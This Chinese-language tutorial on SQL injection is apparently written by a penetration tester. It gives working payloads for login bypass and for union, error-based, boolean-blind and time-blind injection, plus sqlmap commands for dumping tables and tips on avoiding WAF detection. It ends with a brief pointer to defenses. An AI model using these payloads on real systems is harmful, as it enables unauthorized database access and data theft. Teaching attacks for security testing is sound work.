SQL注入:从原理到实战的攻防博弈
SQL注入,说白了就是攻击者把恶意的SQL代码塞进输入框,骗过数据库去执行。我最早接触这个漏洞是在一次渗透测试中,客户说他们的后台登录页面“偶尔会卡死”。我随手在用户名框里输入了一个单引号,页面直接报错——嗯,典型的注入点。从那以后,我对所有用户输入都多留了个心眼。
核心本质:用户输入被当作SQL代码执行,而非普通数据。
1.1 注入原理:为什么一个单引号就能搞垮系统?
先看一段最简单的登录查询:
SELECT * FROM users WHERE username = 'admin' AND password = '123456';
如果我把用户名改成 admin' OR '1'='1,查询就变成了:
SELECT * FROM users WHERE username = 'admin' OR '1'='1' AND password = '123456';
'1'='1' 永远为真,整条WHERE条件就变成了真。数据库会返回所有用户记录,攻击者直接登录成功。这就是最基础的注入逻辑。
我的习惯:判断一个输入点是否可注入,先试单引号 ' 和双引号 "。如果页面报错或返回异常,基本就中奖了。
1.2 联合查询注入:最直接的脱裤方式
联合查询注入利用 UNION 关键字把两个查询结果拼在一起。攻击者可以控制第二个查询,直接读取其他表的数据。
标准步骤:
- 判断列数:用
ORDER BY或UNION SELECT试出当前查询有几列。 - 找显示位:把列号换成数字或字符串,看哪几列会回显到页面上。
- 爆数据:在显示位填入
database()、user()、@@version等函数。
-- 判断列数(假设有3列)
id=1 ORDER BY 3 -- 正常
id=1 ORDER BY 4 -- 报错,说明只有3列
-- 找显示位
id=-1 UNION SELECT 1,2,3
-- 爆库名和版本
id=-1 UNION SELECT 1,database(),@@version
注意:联合查询要求前后两个查询的列数必须一致。我见过不少新手在列数判断上翻车,导致注入失败。建议先用 ORDER BY 精确确定列数,再用 UNION SELECT 验证。
1.3 报错注入:让数据库把秘密说出来
当页面不直接回显数据,但会显示数据库错误信息时,报错注入就派上用场了。核心思路是构造一个SQL语句,让数据库在执行时报错,并且把敏感数据带进错误消息里。
常用函数:
| 函数 | 适用版本 | 示例 |
|---|---|---|
updatexml() |
MySQL 5.1.5+ | AND updatexml(1,concat(0x7e,(SELECT database())),1) |
extractvalue() |
MySQL 5.1.5+ | AND extractvalue(1,concat(0x7e,(SELECT database()))) |
floor() |
MySQL 5.0+ | AND (SELECT 1 FROM (SELECT count(*),concat(database(),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a) |
避坑指南:我曾经在测试一个老系统时,用了 updatexml() 但一直没报错。后来发现MySQL版本是5.1.4,刚好不支持这个函数。所以,先确认数据库版本很重要。
1.4 布尔盲注:没有报错,没有回显,怎么办?
最麻烦的情况是:页面既不报错,也不回显数据,只返回“正常”或“异常”两种状态。这时候只能用布尔盲注——通过页面真/假反应,逐位猜解数据。
核心逻辑:
-- 猜数据库名长度
id=1 AND LENGTH(database())>5 -- 页面正常,说明长度大于5
id=1 AND LENGTH(database())>10 -- 页面异常,说明长度小于等于10
-- 猜第一个字符
id=1 AND ASCII(SUBSTR(database(),1,1))>64 -- 正常,说明字符ASCII大于64
id=1 AND ASCII(SUBSTR(database(),1,1))>100 -- 异常,说明字符ASCII小于等于100
id=1 AND ASCII(SUBSTR(database(),1,1))=115 -- 正常,说明第一个字符是's'
这个过程非常耗时。一个8位的数据库名,平均要猜64次(8位 × 8次二分查找)。如果数据量大,手动猜解基本不现实。
我的建议:布尔盲注尽量用工具自动化。手动猜解只适合验证漏洞存在,不适合大规模脱裤。
1.5 时间盲注:当页面没有任何反馈时
比布尔盲注更极端的情况是:页面无论真假都返回相同内容。这时候只能靠时间差来判断——利用 SLEEP() 或 BENCHMARK() 函数,让数据库在条件为真时延迟响应。
-- 判断数据库名第一个字符是否为's'
id=1 AND IF(ASCII(SUBSTR(database(),1,1))=115,SLEEP(5),0)
-- 如果页面5秒后才加载,说明第一个字符是's'
-- 如果立即加载,说明猜错了
性能风险:时间盲注对数据库压力很大。我在一次授权测试中,因为并发请求太多,直接把测试库拖垮了。建议设置合理的延迟时间(2-3秒),并控制并发数。
1.6 SQLMap:自动化注入的瑞士军刀
手动注入太慢?SQLMap可以帮你自动完成检测、注入、脱裤全流程。但记住,工具只是辅助,理解原理才能用好它。
常用命令:
| 场景 | 命令 |
|---|---|
| 检测注入点 | sqlmap -u "http://target.com/page?id=1" |
| 获取数据库列表 | sqlmap -u "http://target.com/page?id=1" --dbs |
| 获取表名 | sqlmap -u "http://target.com/page?id=1" -D dbname --tables |
| 获取列名 | sqlmap -u "http://target.com/page?id=1" -D dbname -T tablename --columns |
| 导出数据 | sqlmap -u "http://target.com/page?id=1" -D dbname -T tablename --dump |
| 指定注入类型 | sqlmap -u "http://target.com/page?id=1" --technique=BEUST |
个人经验:SQLMap默认会发送大量请求,容易被WAF拦截。我习惯加上 --random-agent 和 --delay=2 参数,模拟正常用户行为。另外,--level 和 --risk 参数不要一上来就设最高,容易触发告警。
知识体系总览
下面这张图梳理了SQL注入的核心分类和攻击路径,方便你快速回顾:
从图中可以看出,SQL注入的每种手法都有其适用场景。联合查询最直接,但要求有回显;报错注入需要数据库报错信息;布尔和时间盲注则是在极端情况下的无奈之选。SQLMap可以大幅提升效率,但前提是你得知道它在干什么。
最后说一句:SQL注入的防御其实很简单——参数化查询、输入过滤、最小权限原则。但为什么至今还是OWASP Top 10的常客?因为开发者总是低估了用户输入的“创造力”。作为安全从业者,我们不仅要会攻,更要懂防。下一节,我会详细讲解如何从代码层面彻底堵死SQL注入。